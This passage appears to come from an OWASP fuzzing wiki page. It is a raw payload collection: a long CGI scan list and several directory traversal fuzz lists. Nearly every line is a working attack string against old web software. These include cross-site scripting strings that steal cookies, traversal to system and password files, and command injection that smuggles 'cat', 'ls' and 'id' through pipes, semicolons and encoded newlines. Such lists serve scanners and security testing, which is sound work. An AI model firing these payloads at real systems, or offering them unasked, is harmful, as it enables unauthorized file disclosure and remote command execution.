cvsquery.cgi?branch=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;file=&lt;script&gt;alert(document.domain)&lt;/script&gt;&amp;date=&lt;script&gt;alert(document.domain)&lt;/script&gt;<br /> cvsquery.cgi?module=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;branch=&amp;dir=&amp;file=&amp;who=&lt;script&gt;alert(document.domain)&lt;/script&gt;&amp;sortby=Date&amp;hours=2&amp;date=week<br /> cvsqueryform.cgi?cvsroot=/cvsroot&amp;module=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;branch=HEAD<br /> dansguardian.pl?DENIEDURL=&lt;/a&gt;&lt;script&gt;alert('XSS');&lt;/script&gt;<br /> dasp/fm_shell.asp<br /> data/fetch.php?page=<br /> date<br /> day5datacopier.cgi<br /> day5datanotifier.cgi<br /> db2www/library/document.d2w/show<br /> db4web_c/dbdirname/{KNOWNFILE}<br /> db_manager.cgi<br /> dbman/db.cgi?db=no-db<br /> dcforum.cgi?az=list&amp;forum=../../../../../../../../../..{KNOWNFILE}%00<br /> dcshop/auth_data/auth_user_file.txt<br /> dcshop/orders/orders.txt<br /> dfire.cgi<br /> diagnose.cgi<br /> dig.cgi<br /> directorypro.cgi?want=showcat&amp;show=../../../../../../../../../..{KNOWNFILE}%00<br /> displayTC.pl<br /> dnewsweb<br /> donothing<br /> dose.pl?daily&amp;somefile.txt&amp;|ls|<br /> download.cgi<br /> dumpenv.pl<br /> edit.pl<br /> empower?DB=whateverwhatever<br /> emu/html/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> emumail/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> enter.cgi<br /> environ.cgi<br /> environ.pl<br /> environ.pl?param1=&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> erba/start/%3Cscript%3Ealert('XSS');%3C/script%3E<br /> eshop.pl/seite=;cat%20eshop.pl|<br /> ex-logger.pl<br /> excite<br /> excite;IF<br /> ezadmin.cgi<br /> ezboard.cgi<br /> ezman.cgi<br /> ezshopper/loadpage.cgi?user_id=1&amp;file=|cat%20{KNOWNFILE}|<br /> ezshopper/search.cgi?user_id=id&amp;database=dbase1.exm&amp;template=../../../../../../..{KNOWNFILE}&amp;distinct=1<br /> ezshopper2/loadpage.cgi<br /> ezshopper3/loadpage.cgi<br /> faqmanager.cgi?toc={KNOWNFILE}%00<br /> faxsurvey?cat%20{KNOWNFILE}<br /> filemail<br /> filemail.pl<br /> finger<br /> finger.pl<br /> flexform<br /> flexform.cgi<br /> fom.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> fom/fom.cgi?cmd=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;file=1&amp;keywords=vulnerable<br /> formmail<br /> formmail.cgi<br /> formmail.cgi?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> formmail.pl<br /> formmail.pl?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> formmail?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> fortune<br /> ftp.pl<br /> ftpsh<br /> gH.cgi<br /> gbadmin.cgi?action=change_adminpass<br /> gbadmin.cgi?action=change_automail<br /> gbadmin.cgi?action=colors<br /> gbadmin.cgi?action=setup<br /> gbook/gbook.cgi?_MAILTO=xx;ls<br /> gbpass.pl<br /> generate.cgi?content=../../../../../../../../../../windows/win.ini%00board=board_1<br /> generate.cgi?content=../../../../../../../../../../winnt/win.ini%00board=board_1<br /> generate.cgi?content=../../../../../../../../../..{KNOWNFILE}%00board=board_1<br /> getdoc.cgi<br /> gettransbitmap<br /> glimpse<br /> gm-authors.cgi<br /> gm-cplog.cgi<br /> gm.cgi<br /> guestbook.cgi<br /> guestbook.cgi?user=cpanel&amp;template=|/bin/cat%20{KNOWNFILE}|<br /> guestbook.pl<br /> guestbook/passwd<br /> handler.cgi<br /> hitview.cgi<br /> horde/test.php<br /> horde/test.php?mode=phpinfo<br /> hsx.cgi?show=../../../../../../../../../../..{KNOWNFILE}%00<br /> htgrep?file=index.html&amp;hdr={KNOWNFILE}<br /> html2chtml.cgi<br /> html2wml.cgi<br /> htmlscript?../../../../../../../../../..{KNOWNFILE}<br /> htsearch.cgi?words=%22%3E%3Cscript%3Ealert%'XSS'%29%3B%3C%2Fscript%3E<br /> htsearch?-c/nonexistant<br /> htsearch?config=foofighter&amp;restrict=&amp;exclude=&amp;method=and&amp;format=builtin-long&amp;sort=score&amp;words=<br /> htsearch?exclude=%60{KNOWNFILE}%60<br /> ibill.pm<br /> icat<br /> if/admin/nph-build.cgi<br /> ikonboard/help.cgi?<br /> imageFolio.cgi<br /> imagefolio/admin/admin.cgi<br /> imagemap<br /> include/new-visitor.inc.php<br /> index.js0x70<br /> index.pl<br /> info2www<br /> info2www '(../../../../../../../bin/mail root &lt;{KNOWNFILE}&gt;<br /> infosrch.cgi<br /> ion-p?page=../../../../..{KNOWNFILE}<br /> jailshell<br /> jj<br /> journal.cgi?folder=journal.cgi%00<br /> ksh<br /> lastlines.cgi?process<br /> listrec.pl<br /> loadpage.cgi?user_id=1&amp;file=../../../../../../../../../..{KNOWNFILE}<br /> loadpage.cgi?user_id=1&amp;file=..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini<br /> log-reader.cgi<br /> log/<br /> log/nether-log.pl?checkit<br /> login.cgi<br /> login.pl<br /> login.pl?course_id=\<br /> logit.cgi<br /> logs.pl<br /> logs/<br /> logs/access_log<br /> logs/error_log<br /> lookwho.cgi<br /> ls<br /> lwgate<br /> lwgate.cgi<br /> magiccard.cgi?pa=3Dpreview&amp;amp;next=3Dcustom&amp;amp;page=3D../../../../../../../../../..{KNOWNFILE}<br /> mail<br /> mail/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> mail/nph-mr.cgi?do=loginhelp&amp;configLanguage=../../../../../../..{KNOWNFILE}%00<br /> mailit.pl<br /> maillist.cgi<br /> maillist.pl<br /> mailnews.cgi<br /> main.cgi?board=FREE_BOARD&amp;command=down_load&amp;filename=../../../../../../../../../..{KNOWNFILE}<br /> majordomo.pl<br /> man2html<br /> mastergate/search.cgi?search=0&amp;search_on=all<br /> meta.pl<br /> mgrqcgi<br /> mini_logger.cgi<br /> mmstdod.cgi<br /> moin.cgi?test<br /> mojo/mojo.cgi<br /> mrtg.cfg?cfg=../../../../../../../..{KNOWNFILE}<br /> mrtg.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> mrtg.cgi?cfg=blah<br /> ms_proxy_auth_query/<br /> mt-static/<br /> mt-static/mt-check.cgi<br /> mt-static/mt-load.cgi<br /> mt-static/mt.cfg<br /> mt/<br /> mt/mt-check.cgi<br /> mt/mt-load.cgi<br /> mt/mt.cfg<br /> multihtml.pl?multi={KNOWNFILE}%00html<br /> musicqueue.cgi<br /> myguestbook.cgi?action=view<br /> namazu.cgi<br /> nbmember.cgi?cmd=list_all_users<br /> netauth.cgi?cmd=show&amp;page=../../../../../../../../../..{KNOWNFILE}<br /> netpad.cgi<br /> newsdesk.cgi?t=../../../../../../../../../..{KNOWNFILE}<br /> nimages.php<br /> nlog-smb.cgi<br /> nlog-smb.pl<br /> non-existent.pl<br /> noshell<br /> nph-emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> nph-error.pl<br /> nph-exploitscanget.cgi<br /> nph-maillist.pl<br /> nph-publish<br /> nph-publish.cgi<br /> nph-showlogs.pl?files=../../&amp;filter=.*&amp;submit=Go&amp;linecnt=500&amp;refresh=0<br /> nph-test-cgi<br /> ntitar.pl<br /> opendir.php?{KNOWNFILE}<br /> orders/orders.txt<br /> pagelog.cgi<br /> pals-cgi?palsAction=restart&amp;documentName={KNOWNFILE}<br /> parse-file<br /> pass<br /> passwd<br /> passwd.txt<br /> password<br /> pbcgi.cgi?name=Joe%Camel&amp;email=%3C<br /> perl<br /> perl?-v<br /> perlshop.cgi<br /> pfdispaly.cgi?'%0A/bin/cat%20{KNOWNFILE}|'<br /> pfdispaly.cgi?../../../../../../../../../..{KNOWNFILE}<br /> pfdisplay.cgi?'%0A/bin/cat%20{KNOWNFILE}|'<br /> phf<br /> phf.cgi?QALIA<br /> phf?Qname=root%0Acat%20{KNOWNFILE}%20<br /> photo/<br /> photo/manage.cgi<br /> photo/protected/manage.cgi<br /> php-cgi<br /> php.cgi?{KNOWNFILE}<br /> plusmail<br /> pollit/Poll_It_<br /> pollssi.cgi<br /> post-query<br /> post_query<br /> postcards.cgi<br /> powerup/r.cgi?FILE=../../../../../../../../../..{KNOWNFILE}<br /> printenv<br /> printenv.tmp<br /> probecontrol.cgi?command=enable&amp;username=cancer&amp;password=killer<br /> processit.pl<br /> profile.cgi<br /> pu3.pl<br /> publisher/search.cgi?dir=jobs&amp;template=;cat%20{KNOWNFILE}|&amp;output_number=10<br /> query<br /> query?mss=%2e%2e/config<br /> quickstore.cgi?page=../../../../../../../../../..{KNOWNFILE}%00html&amp;cart_id=<br /> quikstore.cfg<br /> quizme.cgi<br /> r.cgi?FILE=../../../../../../../../../..{KNOWNFILE}<br /> ratlog.cgi<br /> redirect<br /> register.cgi<br /> replicator/webpage.cgi/<br /> responder.cgi<br /> retrieve_password.pl<br /> rksh<br /> rmp_query<br /> robadmin.cgi<br /> robpoll.cgi<br /> rpm_query<br /> rsh<br /> rtm.log<br /> rwcgi60<br /> rwcgi60/showenv<br /> rwwwshell.pl<br /> sawmill5?rfcf+%22{KNOWNFILE}%22+spbn+1,1,21,1,1,1,1<br /> sawmill?rfcf+%22<br /> sbcgi/sitebuilder.cgi<br /> scoadminreg.cgi<br /> scripts/*%0a.pl<br /> search.cgi<br /> search.cgi?..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini<br /> search.cgi?..\\..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini<br /> search.php?searchstring=&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> search.pl<br /> search.pl?Realm=All&amp;Match=0&amp;Terms=test&amp;nocpp=1&amp;maxhits=10&amp;;Rank=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> search.pl?form=../../../../../../../../../..{KNOWNFILE}%00<br /> search/search.cgi?keys=*&amp;prc=any&amp;catigory=../../../../../../../../../../../../etc<br /> sendform.cgi<br /> sendpage.pl?message=test\;/bin/ls%20/etc;echo%20\message<br /> sendtemp.pl?templ=../../../../../../../../../..{KNOWNFILE}<br /> session/adminlogin<br /> sewse?/home/httpd/html/sewse/jabber/comment2.jse+{KNOWNFILE}<br /> sh<br /> shop.cgi?page=../../../../../../..{KNOWNFILE}<br /> shop.pl/page=;cat%20shop.pl|<br /> shop/auth_data/auth_user_file.txt<br /> shop/orders/orders.txt<br /> shopper.cgi?newpage=../../../../../../../../../..{KNOWNFILE}<br /> shopplus.cgi?dn=domainname.com&amp;cartid=%CARTID%&amp;file=;cat%20{KNOWNFILE}|<br /> show.pl<br /> showcheckins.cgi?person=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> showuser.cgi<br /> simple/view_page?mv_arg=|cat%20{KNOWNFILE}|<br /> simplestguest.cgi<br /> simplestmail.cgi<br /> smartsearch.cgi?keywords=|/bin/cat%20{KNOWNFILE}|<br /> smartsearch/smartsearch.cgi?keywords=|/bin/cat%20{KNOWNFILE}|<br /> sojourn.cgi?cat=../../../../../../../../../../etc/password%00<br /> spin_client.cgi?aaaaaaaa<br /> ss<br /> sscd_suncourier.pl<br /> ssi//%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e{KNOWNFILE}<br /> start.cgi/%3Cscript%3Ealert('XSS');%3C/script%3E<br /> stat.pl<br /> stat/<br /> stats-bin-p/reports/index.html<br /> stats.pl<br /> stats.prf<br /> stats/<br /> stats/statsbrowse.asp?filepath=c:\&amp;Opt=3<br /> stats_old/<br /> statsconfig<br /> statusconfig.pl<br /> statview.pl<br /> store.cgi?<br /> store/agora.cgi?cart_id=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> store/agora.cgi?page=whatever33.html<br /> store/index.cgi?page=../../../../../../../..{KNOWNFILE}<br /> story.pl?next=../../../../../../../../../..{KNOWNFILE}%00<br /> story/story.pl?next=../../../../../../../../../..{KNOWNFILE}%00<br /> survey<br /> survey.cgi<br /> sws/admin.html<br /> sws/manager.pl<br /> tablebuild.pl<br /> talkback.cgi?article=../../../../../../../..{KNOWNFILE}%00&amp;action=view&amp;matchview=1<br /> tcsh<br /> technote/main.cgi?board=FREE_BOARD&amp;command=down_load&amp;filename=/../../../../../../../../../..{KNOWNFILE}<br /> test-cgi.tcl<br /> test-cgi?/*<br /> test-env<br /> test.cgi<br /> test/test.cgi<br /> texis/junk<br /> texis/phine<br /> textcounter.pl<br /> tidfinder.cgi<br /> tigvote.cgi<br /> title.cgi<br /> tpgnrock<br /> traffic.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> troops.cgi<br /> ttawebtop.cgi/?action=start&amp;pg=../../../../../../../../../..{KNOWNFILE}<br /> ultraboard.cgi<br /> ultraboard.pl<br /> unlg1.1<br /> unlg1.2<br /> update.dpgs<br /> upload.cgi<br /> uptime<br /> urlcount.cgi?%3CIMG%20<br /> ustorekeeper.pl?command=goto&amp;file=../../../../../../../../../..{KNOWNFILE}<br /> utm/admin<br /> utm/utm_stat<br /> view-source<br /> view-source?view-source<br /> view_item?HTML_FILE=../../../../../../../../../..{KNOWNFILE}%00<br /> viewcvs.cgi/viewcvs/?cvsroot=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> viewcvs.cgi/viewcvs/viewcvs/?sortby=rev\<br /> viewlogs.pl<br /> viewsource?{KNOWNFILE}<br /> viralator.cgi<br /> virgil.cgi<br /> vote.cgi<br /> vpasswd.cgi<br /> vq/demos/respond.pl?&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> w3-msql<br /> w3-sql<br /> wais.pl<br /> way-board.cgi?db={KNOWNFILE}%00<br /> way-board/way-board.cgi?db={KNOWNFILE}%00<br /> webais<br /> webbbs.cgi<br /> webbbs/webbbs_config.pl?name=joe&amp;email=test@example.com&amp;body=aaaaffff&amp;followup=10;cat%20{KNOWNFILE}<br /> webcart/webcart.cgi?CONFIG=mountain&amp;CHANGE=YE<br /> webdist.cgi?distloc=;cat%20{KNOWNFILE}<br /> webdriver<br /> webgais<br /> webif.cgi<br /> webmail/html/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> webmap.cgi<br /> webnews.pl<br /> webplus?about<br /> webplus?script=../../../../../../../../../..{KNOWNFILE}<br /> websendmail<br /> webspirs.cgi?sp.nextform=../../../../../../../../../..{KNOWNFILE}<br /> webutil.pl<br /> webutils.pl<br /> webwho.pl<br /> where.pl?sd=ls%20/etc<br /> whois.cgi?action=load&amp;whois=%3Bid<br /> whois.cgi?lookup=;&amp;ext=/bin/cat%20{KNOWNFILE}<br /> whois/whois.cgi?lookup=;&amp;ext=/bin/cat%20{KNOWNFILE}<br /> whois_raw.cgi?fqdn=%0Acat%20{KNOWNFILE}<br /> windmail<br /> wrap<br /> wrap.cgi<br /> ws_ftp.ini<br /> www-sql<br /> wwwadmin.pl<br /> wwwboard.cgi.cgi<br /> wwwboard.pl<br /> wwwstats.pl<br /> wwwthreads/3tvars.pm<br /> wwwthreads/w3tvars.pm<br /> wwwwais<br /> zml.cgi?file=../../../../../../../../../..{KNOWNFILE}%00<br /> zsh<br /> &lt;/pre&gt;<br /> <br /> === Windows Directory Traversal (Update: 17 March 2010 ===<br /> &lt;pre&gt;# Windows Directory Traversal (Update: 17 March 2010<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> ../../../../../../../../../../../../localstart.asp%00<br /> ../../../../../../../../../../../../localstart.asp<br /> \..\WINDOWS\win.ini<br /> \..\..\WINDOWS\win.ini<br /> \..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\..\WINDOWS\win.ini<br /> ..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..winnt/desktop.ini<br /> &lt;/pre&gt;<br /> <br /> === Generic 8 Directory Deep Traversal Fuzz (17 March 2010) ===<br /> &lt;pre&gt;<br /> # Generic 8 Directory Deep Traversal Fuzz (17 March 2010) <br /> # Derived from the awesome &quot;Directory Traversal Fuzzing Code&quot; v0.2 by Luca Carettoni<br /> # Did some cleanup &amp; removed anything to the right of {FILE} for inclusion in a<br /> # separate fuzzfile for more flexibiity, for the OWASP Fuzzing Code Database. <br /> # adam.muntner@uietmove.com <br /> <br /> ../{FILE}<br /> ../../{FILE}<br /> ../../../{FILE}<br /> ../../../../{FILE}<br /> ../../../../../{FILE}<br /> ../../../../../../{FILE}<br /> ../../../../../../../{FILE}<br /> ../../../../../../../../{FILE}<br /> ..%2f{FILE}<br /> ..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> %2e%2e/{FILE}<br /> %2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ..%252f{FILE}<br /> ..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> %252e%252e/{FILE}<br /> %252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> ..\{FILE}<br /> ..\..\{FILE}<br /> ..\..\..\{FILE}<br /> ..\..\..\..\{FILE}<br /> ..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\..\{FILE}<br /> ..%255c{FILE}<br /> ..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> %2e%2e\{FILE}<br /> %2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %252e%252e\{FILE}<br /> %252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> ..%c0%af{FILE}<br /> ..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> %c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> ..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> 